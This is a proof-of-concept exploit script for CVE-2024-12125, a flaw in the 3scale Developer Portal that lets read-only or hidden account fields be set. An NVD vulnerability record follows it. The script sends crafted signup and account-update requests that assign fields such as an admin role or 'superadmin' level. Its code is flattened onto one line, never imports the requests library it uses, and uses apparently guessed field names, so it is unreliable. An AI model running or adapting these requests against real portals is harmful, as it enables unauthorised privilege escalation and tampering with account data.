CVE-2024-12125

# CVE-2024-12125 PoC - 3scale Developer Portal Field Bypass # Description: Modify read-only/hidden fields during account creation/update import requests import json TARGET_URL = "https://vulnerable-3scale-portal.example.com" def create_account_bypass(): """ Create account with modified read-only fields """ # Step 1: Get initial registration page session = requests.Session() reg_page = session.get(f"{TARGET_URL}/signup") # Step 2: Prepare account creation request with hidden/readonly fields # These fields should normally be read-only but are not validated server-side payload = { "account[org_name]": "AttackerOrg", "account[name]": "attacker", "account[admin_user_attributes][email]": "[email protected]", "account[admin_user_attributes][password]": "P@ssw0rd123", "account[admin_user_attributes][role]": "admin", # Read-only field - bypassed "account[hidden_field]": "sensitive_data" # Hidden field - bypassed } # Step 3: Submit request response = session.post(f"{TARGET_URL}/api_signup", data=payload) if response.status_code == 200: print("[+] Account created with modified read-only fields") print(f"[*] Response: {response.text[:200]}") else: print("[-] Request failed") def update_account_bypass(account_id): """ Update existing account to modify restricted fields """ session = requests.Session() # Prepare update request with read-only fields payload = { "account[name]": "UpdatedName", "account[restricted_field]": "modified_value", # Read-only field bypassed "account[admin_level]": "superadmin" # Should be read-only } response = session.put( f"{TARGET_URL}/api/accounts/{account_id}", data=payload ) return response.status_code == 200 if __name__ == "__main__": print("CVE-2024-12125 PoC - 3scale Developer Portal Field Bypass") create_account_bypass()

{"cve": {"id": "CVE-2024-12125", "sourceIdentifier": "[email protected]", "published": "2025-11-06T22:15:37.110", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the 3scale Developer Portal. When creating or updating an account in the Developer Portal UI it is possible to modify fields explicitly configured as read-only or hidden, allowing an attacker to modify restricted information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-281"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2024-12125", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2330214", "source": "[email protected]"}]}}